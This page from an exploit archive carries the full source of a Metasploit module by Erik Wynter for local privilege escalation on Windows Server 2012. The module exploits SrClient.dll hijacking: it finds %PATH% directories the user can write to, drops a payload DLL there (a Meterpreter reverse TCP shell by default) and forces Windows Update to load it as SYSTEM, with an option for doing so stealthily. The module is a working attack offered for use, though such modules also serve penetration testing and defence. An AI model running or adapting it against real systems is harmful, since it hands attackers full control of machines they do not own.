Windows Server 2012 SrClient DLL Hijacking

2021.03.17
Credit: Erik Wynter
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Server 2012 SrClient DLL hijacking', 'Description' => %q{ All editions of Windows Server 2012 (but not 2012 R2) are vulnerable to DLL hijacking due to the way TiWorker.exe will try to call the non-existent `SrClient.dll` file when Windows Update checks for updates. This issue can be leveraged for privilege escalation if %PATH% includes directories that are writable by low-privileged users. The attack can be triggered by any low-privileged user and does not require a system reboot. This module has been successfully tested on Windows Server 2012 (x64). }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik Wynter' # @wyntererik - Discovery & Metasploit ], 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'Wfsdelay' => 60, 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Windows Server 2012 (x64)', { 'Arch' => [ARCH_X64], 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ] ], 'References' => [ [ 'URL', 'https://blog.vonahi.io/srclient-dll-hijacking' ], ], 'DisclosureDate' => '2021-02-19', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS ] } ) ) register_options([ OptString.new('WRITABLE_PATH_DIR', [false, 'Path to a writable %PATH% directory to write the payload to.', '']), OptBool.new('STEALTH_ONLY', [false, 'Only exploit if the payload can be triggered without launching the Windows Update UI) ', false]), OptInt.new('WAIT_FOR_TIWORKER', [false, 'No. of minutes to wait for TiWorker.exe to finish running if it is already active. ', 0]) ]) end def provided_path_dir datastore['WRITABLE_PATH_DIR'] end def stealth_only datastore['STEALTH_ONLY'] end def wait_for_tiworker datastore['WAIT_FOR_TIWORKER'] end def force_exploit_message " If #{provided_path_dir} should be writable and part of %PATH%, enter `set ForceExploit true` and rerun the module." end def grab_user_groups(current_user) print_status("Obtaining group information for the current user #{current_user}...") # add current user to the groups we are a member of in case user-specific permissions are set for any of the %PATH% directories user_groups = [current_user] whoami_groups = get_whoami unless whoami_groups.blank? print_status('') whoami_groups.split("\r\n").each do |line| exclude_strings = ['----', '====', 'GROUP INFORMATION', 'Group Name', 'Mandatory Label'] line = line.strip next if line.empty? next if exclude_strings.any? { |ex_str| line.include?(ex_str) } group = line.split(' ')[0] user_groups << group print_status("\t#{group}") end print_status('') end user_groups end def find_pdir_owner(pdir, current_user) # we need double backslashes in the path for wmic, using block gsub because regular gsub doesn't seem to work pdir_escaped = pdir.gsub(/\\/) { '\\\\' } pdir_owner_info = cmd_exec("wmic path Win32_LogicalFileSecuritySetting where Path=\"#{pdir_escaped}\" ASSOC /RESULTROLE:Owner /ASSOCCLASS:Win32_LogicalFileOwner /RESULTCLASS:Win32_SID") if pdir_owner_info.blank? || pdir_owner_info.split('{')[0].blank? return false end pdir_owner_suffix = pdir_owner_info.split('{')[0] pdir_owner_prefix = pdir_owner_info.scan(/\}\s+(.*?)S-\d-\d+-(\d+-){1,14}\d/).flatten.first if pdir_owner_prefix.blank? || pdir_owner_suffix.blank? return false end pdir_owner_name = "#{pdir_owner_prefix.strip}\\#{pdir_owner_suffix.strip}" if pdir_owner_name.downcase == current_user.downcase return true else return false end end def enumerate_writable_path_dirs(path_dirs, user_groups, current_user) writable_path_dirs = [] perms_we_need = ['(F)', '(M)'] print_status('') path_dirs.split(';').each do |pdir| next if pdir.blank? || pdir.strip.blank? # directories can't and with a backslash, otherwise some commands will throw an error pdir = pdir.strip.delete_suffix('\\') # if the user has provided a target dir, only look at that one if !provided_path_dir.blank? && pdir.downcase != provided_path_dir.downcase next end print_status("\tChecking permissions for #{pdir}") # check if the current user owns pdir user_owns_pdir = find_pdir_owner(pdir, current_user) # use icalcs to get the directory permissions permissions = cmd_exec("icacls \"#{pdir}\"") next if permissions.blank? next if permissions.split(pdir.to_s)[1] && permissions.split(pdir.to_s)[1].length < 2 # the output should always start with the provided directory, so we need to remove that groups_perms = permissions.split(pdir.to_s)[1].strip next if groups_perms.empty? # iterate over the listed permissions for different groups groups_perms.split("\n").each do |gp| gp = gp.strip # the format should be <group>:<perms>, so gp must always include `:` next unless gp.include?(':') # grab the group name and permissions group, perms = gp.split(':') next if group.blank? || perms.blank? group = group.strip perms = perms.strip # if the current user owns the directory, check for the directory permissions as well if user_owns_pdir && group == 'CREATOR OWNER' && perms_we_need.any? { |prm| perms.downcase.include? prm.downcase } writable_path_dirs << pdir unless writable_path_dirs.include?(pdir) next end # ignore groups that don't match the groups for the current user, or the required permissions next unless user_groups.any? { |ug| group.downcase == ug.downcase } next unless perms_we_need.any? { |prm| perms.downcase.include? prm.downcase } # if we are here, we found a %PATH% directory we can write to!!! writable_path_dirs << pdir unless writable_path_dirs.include?(pdir) end end print_status('') writable_path_dirs end def exploitation_message(trigger_cmd) if trigger_cmd == 'wuauclt /detectnow' print_status("Trying to trigger the payload in the background via the shell command `#{trigger_cmd}`") else print_status("Trying to trigger the payload via the shell command `#{trigger_cmd}`") end end def monitor_tiworker print_warning("TiWorker.exe is already running on the target. The module will monitor the process every 10 seconds for up to #{wait_for_tiworker} minute(s)...") wait_time_left = wait_for_tiworker sleep_time = 0 while wait_time_left > 0 sleep 10 host_processes = client.sys.process.get_processes if host_processes.none? { |ps| ps['name'] == 'TiWorker.exe' } print_status('TiWorker.exe is no longer running on the target. Proceding with exploitation.') break end sleep_time += 10 next unless sleep_time == 60 wait_time_left -= 1 sleep_time = 0 print_status("TiWorker.exe is still running on the target. The module will keep checking for #{wait_time_left} minute(s)...") end end def check # check OS unless sysinfo['OS'].include?('2012') return Exploit::CheckCode::Safe('Target is not Windows Server 2012.') end if sysinfo['OS'].include?('R2') return Exploit::CheckCode::Safe('Target is Windows Server 2012 R2, but only Windows Server 2012 is vulnerable.') end print_status("Target is #{sysinfo['OS']}") # obtain the Windows Update setting to see if exploitation could work at all @wupdate_setting = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Auto Update', 'AUOptions') if @wupdate_setting.nil? # if this is true, Windows Update has probably never been configured on the target, and the attack most likely won't work. return Exploit::CheckCode::Safe('Target is Windows Server 2012, but cannot be exploited because Windows Update has not been configured.') end unless (1..4).include?(@wupdate_setting) return Exploit::CheckCode::Unknown('Received unexpected reply when trying to obtain the Windows Update setting.') end # get groups for the current user, this is necessary to verify write permissions current_user = session.sys.config.getuid user_groups = grab_user_groups(current_user) # get %PATH% dirs and check if the current user can write to them print_status('Checking for writable directories in %PATH%...') # we can't use get_envs('PATH') here because that returns all PATH directories, but we only need those in the SYSTEM PATH path_dirs = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment', 'path') if path_dirs.blank? get_path_fail_message = 'Failed to obtain %PATH% directories.' unless provided_path_dir.blank? get_path_fail_message << force_exploit_message end return Exploit::CheckCode::Unknown(get_path_fail_message) end @writable_path_dirs = enumerate_writable_path_dirs(path_dirs, user_groups, current_user) writable_path_dirs_fail_message = "#{current_user} does not seem to have write permissions to any of the %PATH% directories" if @writable_path_dirs.empty? unless provided_path_dir.blank? writable_path_dirs_fail_message << force_exploit_message end return Exploit::CheckCode::Safe(writable_path_dirs_fail_message) end if provided_path_dir.blank? print_good("#{current_user} has write permissions to the following %PATH% directories:") print_status('') @writable_path_dirs.each { |wpd| print_status("\t#{wpd}") } print_status('') else print_good("#{current_user} has write permissions to #{provided_path_dir}") end return Exploit::CheckCode::Appears end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end payload_arch = payload.arch.first if (payload_arch != ARCH_X64) fail_with(Failure::BadConfig, "Unsupported payload architecture (#{payload_arch}). Only 64-bit (x64) payloads are supported.") # Unsupported architecture, so return an error. end # check if TiWorker.exe is already running, in which case exploitation will fail host_processes = client.sys.process.get_processes if host_processes.any? { |ps| ps['name'] == 'TiWorker.exe' } unless wait_for_tiworker > 0 fail_with(Failure::Unknown, 'TiWorker.exe is already running on the target. Set `WAIT_FOR_TIWORKER` to force the module to wait for the process to finish.') end monitor_tiworker end # There are three commands we can run to get the target to start checking for Windows updates, which should launch TiWorker.exe and trigger the payload as SYSTEM ## 'wuauclt /detectnow': This triggers the payload in the background, but won't work when Windows Update is set to never check for updates. ## 'wuauclt /selfupdatemanaged': This triggers the payload by launching the Windows Update UI, which then scans for updates using the WSUS settings. This is not stealthy, but works with all Windows Update settings. ## 'wuauclt /selfupdateunmanaged': This triggers the payload by launching the Windows Update UI, which then scans for updates using the Windows Update site. This is not stealthy, but works with all Windows Update settings. ## the module prefers /selfupdatemanaged over /selfupdateunmanaged when /detectnow is not possible because /selfupdateunmanaged may require the target to be able to reach the Windows Update server case @wupdate_setting when 1 print_warning('Because Windows Update is set to never check for updates, triggering the payload requires launching the Windows Update window on the target.') if stealth_only fail_with(Failure::Unknown, 'Exploitation cannot proceed stealthily. If you still want to exploit, set `STEALTH_ONLY` to false.') return end trigger_cmd = 'wuauclt /selfupdatemanaged' when 2..4 # trigger the payload in the background if we can trigger_cmd = 'wuauclt /detectnow' else # if this is true, ForceExploit has been set and we should just roll with it print_warning('Windows Update is not configured or returned an unexpected value. Exploitation may not work.') if stealth_only trigger_cmd = 'wuauclt /detectnow' else # go out guns blazing and hope for the best print_status('The module will launch the Windows Update window on the target in an attempt to trigger the payload.') trigger_cmd = 'wuauclt /selfupdatemanaged' end end # select a target directory to write the payload to if @writable_path_dirs.empty? # this means ForceExploit is being used if provided_path_dir.blank? fail_with(Failure::BadConfig, 'Using ForceExploit requires `WRITABLE_PATH_DIR` to be set.') end dll_path = provided_path_dir else dll_path = @writable_path_dirs[0] end # generate and write payload dll_path << '\\' unless dll_path.end_with?('\\') @dll_file_path = "#{dll_path}SrClient.dll" dll = generate_payload_dll print_status("Writing #{dll.length} bytes to #{@dll_file_path}...") begin # write_file(@dll_file_path, dll) write_file(@dll_file_path, dll) register_file_for_cleanup(@dll_file_path) rescue Rex::Post::Meterpreter::RequestError => e # Can't write the file, can't go on fail_with(Failure::Unknown, e.message) end # trigger the payload exploitation_message(trigger_cmd) cmd_exec(trigger_cmd) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top